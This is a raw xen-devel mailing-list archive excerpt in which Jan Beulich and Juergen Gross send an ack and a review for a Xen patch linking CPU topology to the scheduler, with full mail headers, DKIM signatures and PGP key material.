Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dario Faggioli <dfaggioli@suse.com>, Juergen Gross <jgross@suse.com>,
 George Dunlap <gwd@xenproject.org>, xen-devel@lists.xenproject.org
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-3-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260720162819.308326-3-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784815923-736BD2A1-22C2160E/0/0
X-purgate-type: clean
X-purgate-size: 334

On 20.07.2026 18:28, Hirokazu Takahashi wrote:
> Make CPU topology information available to the Xen scheduler.
> Additionally, ensure that this topology information is displayed
> when executing the 'xl info -n' command.
> 
> Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:24:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:24:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369229.1618093 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuLp-0002nc-W7; Thu, 23 Jul 2026 14:24:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369229.1618093; Thu, 23 Jul 2026 14:24:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuLp-0002nV-Sj; Thu, 23 Jul 2026 14:24:41 +0000
Received: by outflank-mailman (input) for mailman id 1369229;
 Thu, 23 Jul 2026 14:24:40 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wmuLo-0002nP-B4
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:24:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmuLn-00GZw5-HG
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:24:39 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a62240b-2eae-0a2a0a5409dd-0a2a4507bc4a-40
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:24:39 +0200
Received: from [209.85.208.43] (helo=mail-ed1-f43.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a622427-b4ea-0a2a45070019-d155d02bacb3-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:24:39 +0200
Received: by mail-ed1-f43.google.com with SMTP id
 4fb4d7f45d1cf-698acd36d67so1391713a12.0
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:24:39 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-69f34f1b610sm2144485a12.15.2026.07.23.07.24.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:24:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784816679; x=1785421479; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=JrKX0o5da638z1IWqCsdDJTxiFUYSoG2P1XCPiXr53k=;
        b=OqsPv4jpwRqQIqxJqkEkZHPwfBZwFc6LrPr9eNGFWV27S8txtl0tTMO/ZbAAE4L6Pm
         M/feIMNT6IEH4NCDezgu+KH6QCSDZxxBSR0lWU3z9lZSm4czhTkhp5s3sCdPrlD7TzDr
         5OBaaPsvFjZHAoNZz7NmR3iesCr0VXBwxzkfyTKmyGTSP0+BYaaF0ayQ8KzUaAOY292J
         Qd/IBPxApRnNrIHAwrvV5v1Dr6okfOWSAoCw224IwQaQpZrQgEdwXXiGStUfCXf67gIY
         wO+sCATUggW5qANQoiblQK8x6taGJ9CVP7hg/3BK4ozCcaXn9z65tAkB8sLKfYQLSrwW
         GXYQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784816679; x=1785421479;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=JrKX0o5da638z1IWqCsdDJTxiFUYSoG2P1XCPiXr53k=;
        b=PS1l0uUzwL0diiQHZ2J4MUwm2oFzQqJ4mG0vwnU+T7XTFYpfl/u2jrdQTyZ8u2ME+z
         98SFR2BlrMURY+eZOl5j97C35zyilvk5P20FXq6+Rm5oiYq4drD1loZQZ/qQVEuEb9L0
         uCTguEYgD3vBEpSYf+rzbWYcXWPPGFSIlwq2S9RNsYT6PilE8Gazkt2oP8nkv+4M62yB
         +XmoUoMGX+GpwyuxFFSd/wE7xyGXblnOaloUaRhClc8MbHJBu0kil/fk9Bgdj0kqLlEo
         wVW8bR2B1dp0wh4/sBDQMx5gxlYwLcv6T1A4kLQeLA+afJ/QuphqopR42PvmvWMhQMq2
         tN+Q==
X-Forwarded-Encrypted: i=1; AHgh+RpY/wZWNTCiMbMsUnbSIwXUqK35+5PME9n5yS1hIIRgMbDI1rdZjvohkgjHxTndtj+FWpQjtWG4TRg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyaJz8XZqiqlrbSLAq5QyeGgqVH875tzow8ybhwMuZc3ZUnZG2w
	s8P4rJDsx50H+w9XwvXM81MfNONH/6YTN4oiPHLi8KvnHRD0lU/p/mSLtsPmdyLutpA=
X-Gm-Gg: AR+sD11SvfIGw1an0uCfvpMAN8CIq+TQxJwsHxcf6VWpM7MnUyLLZ836gK0BRaWI2TS
	Pv1lr7mH8R61392DYf0AkECZQG3HNFI85mCv5D2GogMF8N66tqeTSdI4fr3cmthnQy+0OW+dW2V
	OQVPLbLv8ANjcuixMGRKYaxN61R+cNyN3Gu2iVy2TkXlnCYr99+xaKUSJ/9Zgj7ihQqWjp92GaM
	3uSiGnDYgByarh40iEXs4O2oqPabU/JlQx9W9FrL60WdhxupS+r6NvWhw03fGWTz22812z5iVEz
	C1CcBUBPoFAHCgWmgM9bo8hTqo8hvCgK39Zs0yjdGE9GWhSjN2bxUWCNz8oNLF0XPfHCbGtrJoG
	LUAR3UO34k5RmRUoCXj/xudSfNnx2aD+0FWx1wDtVWaP8fkngLtxFuyldvP5vUzFMK0Kip68e/e
	Z76n8izK8apnCs15yP27vLD2tW6VyS7BaSRGYkDS9MECviD6SgpFowV1vucLIEPbeCLtXGi/n4R
	ptysnN8tJ/myR+pbt2yIYDV18exQTJg
X-Received: by 2002:a05:6402:4310:b0:698:ecf:d18a with SMTP id 4fb4d7f45d1cf-69f6ccd57a9mr1415998a12.9.1784816678933;
        Thu, 23 Jul 2026 07:24:38 -0700 (PDT)
Message-ID: <b1e2539c-ae05-4c30-a2bb-8d62a1e39482@suse.com>
Date: Thu, 23 Jul 2026 16:24:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] xen/sched: Link CPU topology to scheduler
To: Hirokazu Takahashi <taka@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>, Jan Beulich <jbeulich@suse.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-3-taka@valinux.co.jp>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf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-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------QKaSuA8GBtGFtfVSansE008x"
X-purgate-ID: tlsNG-ef75cf/1784816679-3C212AE4-366078B6/0/0
X-purgate-type: clean
X-purgate-size: 8662

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------QKaSuA8GBtGFtfVSansE008x
Content-Type: multipart/mixed; boundary="------------RHC83aXrqe8iGvZyzJQwuJBw";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Hirokazu Takahashi <taka@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>, Jan Beulich <jbeulich@suse.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>
Message-ID: <b1e2539c-ae05-4c30-a2bb-8d62a1e39482@suse.com>
Subject: Re: [PATCH v7 2/5] xen/sched: Link CPU topology to scheduler
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-3-taka@valinux.co.jp>
In-Reply-To: <20260720162819.308326-3-taka@valinux.co.jp>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Y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AwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------RHC83aXrqe8iGvZyzJQwuJBw
Content-Type: multipart/mixed; boundary="------------cWbBqhekxRYKb0pMpaiZAoBH"

--------------cWbBqhekxRYKb0pMpaiZAoBH
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjAuMDcuMjYgMTg6MjgsIEhpcm9rYXp1IFRha2FoYXNoaSB3cm90ZToNCj4gTWFrZSBD
UFUgdG9wb2xvZ3kgaW5mb3JtYXRpb24gYXZhaWxhYmxlIHRvIHRoZSBYZW4gc2NoZWR1bGVy
Lg0KPiBBZGRpdGlvbmFsbHksIGVuc3VyZSB0aGF0IHRoaXMgdG9wb2xvZ3kgaW5mb3JtYXRp
b24gaXMgZGlzcGxheWVkDQo+IHdoZW4gZXhlY3V0aW5nIHRoZSAneGwgaW5mbyAtbicgY29t
bWFuZC4NCj4gDQo+IFNpZ25lZC1vZmYtYnk6IEhpcm9rYXp1IFRha2FoYXNoaSA8dGFrYUB2
YWxpbnV4LmNvLmpwPg0KDQpSZXZpZXdlZC1ieTogSnVlcmdlbiBHcm9zcyA8amdyb3NzQHN1
c2UuY29tPiAjIHNjaGVkdWxlciBwYXJ0DQoNCg0KSnVlcmdlbg0K
--------------cWbBqhekxRYKb0pMpaiZAoBH
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFExLJK/nRPFmAuGlId1E3fe10v5QL+qHI3EIP
tyfE7i9Hz6rVwi7lWKgh7pe0ZvatAudZ+JNIlBKptb64FaiIOAWDCx1S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5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------cWbBqhekxRYKb0pMpaiZAoBH--

--------------RHC83aXrqe8iGvZyzJQwuJBw--

--------------QKaSuA8GBtGFtfVSansE008x
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpiJCYFAwAAAAAACgkQsN6d1ii/Ey82
VQgAk+CKUeEY0iqQ/Z6DHxxk+CT3Dnipe7b1eS08kV5wHOj9g5ka8isxD3wq/GPVtOsFVGL3cU9B
jvO42cZr128AuAvhHubf/jknoRhq9c8iWT9AlzAB3ItoShWJN837gFYMZu2j2F9tXICP+awm2494
AaiiKqC5EyGbnUHCF/pv5aJG6/qdRPy86x6Vc68SoG/6o7gP9h+v1PN4M9rV7m62EDAkwyT4Pu8P
0iqdFm/pjBOHm2Zx/cfLfmUtS92m5/1VK22ebE6F1nJwiePiSYfMZ+8CE4SY5Vcq9tcf2rp2dWre
DThFZ0cENO9hh2tixf+BFpKlz6o/2/u3+zFaT8KyNA==
=qhnD
-----END PGP SIGNATURE-----

--------------QKaSuA8GBtGFtfVSansE008x--


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:26:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:26:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369240.1618101 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuNk-0003L0-CW; Thu, 23 Jul 2026 14:26:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369240.1618101; Thu, 23 Jul 2026 14:26:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuNk-0003Kt-9s; Thu, 23 Jul 2026 14:26:40 +0000
Received: by outflank-mailman (input) for mailman id 1369240;
 Thu, 23 Jul 2026 14:26:38 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wmuNi-0003Kn-GE
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:26:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmuNh-00BPus-T1
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:26:37 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a62248c-bab6-0a2a0a5309dd-0a2a4507cc2a-34
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:26:37 +0200
Received: from [209.85.208.45] (helo=mail-ed1-f45.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a62249d-b4ea-0a2a45070019-d155d02de07b-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:26:37 +0200
Received: by mail-ed1-f45.google.com with SMTP id
 4fb4d7f45d1cf-69e2266b07fso1114296a12.2
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:26:37 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-69f34b9b064sm2446949a12.11.2026.07.23.07.26.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:26:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784816797; x=1785421597; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=ausYtxs6Q005CBaRLXZGH/2iTE72Pvk8xqArtCg/jdE=;
        b=chr+U+SPFnuUandajSdInMAdDw6RG9SXEX5RA8mBoTiSvVswuo9YgEix/w6Gda0PxR
         piE7O0g/P/gynaUv2z85pv/VIFu252ZMqeK0TICSNjZZlENVsiMETIRjKj5e9GHb3NZI
         J6cLD6T2AjliXpKsm/+nv7C6A2EJdn/3rMaKXUveTHyy02LWyDtNKcIndsfvsxKb6NC9
         gu3y9myUlBzbQLZWO7HN0irSacBANFxnd8LzlVByTbFI1V3E87Aq4cworlxvwzL3As/H
         ThclR8iyrVe90M1aEMpc7eylYSd6D4RbnFx9djx5fqeyWRv8Ob3AIwx7zLz4CIIzyq0x
         wIJw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784816797; x=1785421597;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ausYtxs6Q005CBaRLXZGH/2iTE72Pvk8xqArtCg/jdE=;
        b=XfESE9zOth2YFHC+aXIEHjCB7LNBDUi4k4Ajt1H0Sf/6S6GD450Bqh3/z3OPpx4Dfe
         gfabQcKNV/hjeJQc/WA70lTEyvpbSlqAeEpLz6lpdpl8TzsplWGSMNDv1kdXDCu6tyI4
         4iFbMll91T136FVkChMJzeNymEIYlWSpWP7fKnMxxebX3PWyxd8Mq56JO7xUVM+BsHp/
         kJCRxSiNncmfBxEs9GD6eH29kd977W91sx+6Yacc22tnEZjMnE7xuMP6sqSJQlUHIgqV
         zMvONTG5HLXcxBCYPjOaEOCZfAwBjS2b8fwDbwjSsqMbRdUMdf3shyQTfLC9SVyH0kT7
         YgFQ==
X-Forwarded-Encrypted: i=1; AHgh+Rqk6valIPAuFlXT8kdWwHCb7r8dKKHKZ6PxkXJ7poRlJwzsapx+L5lGPqyakrZ9TV1AlZmN1lfwIRg=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz+vQHlUABTgmw9SAzWoxiW1xqhZpTqBc1r5nglaFyGjBMBs3ep
	SGyHSSUJIepn04AQiueopmGlJafN7J73JxAeUjQgWzldxkLq9zAbte/8N/XLpHZBgvo=
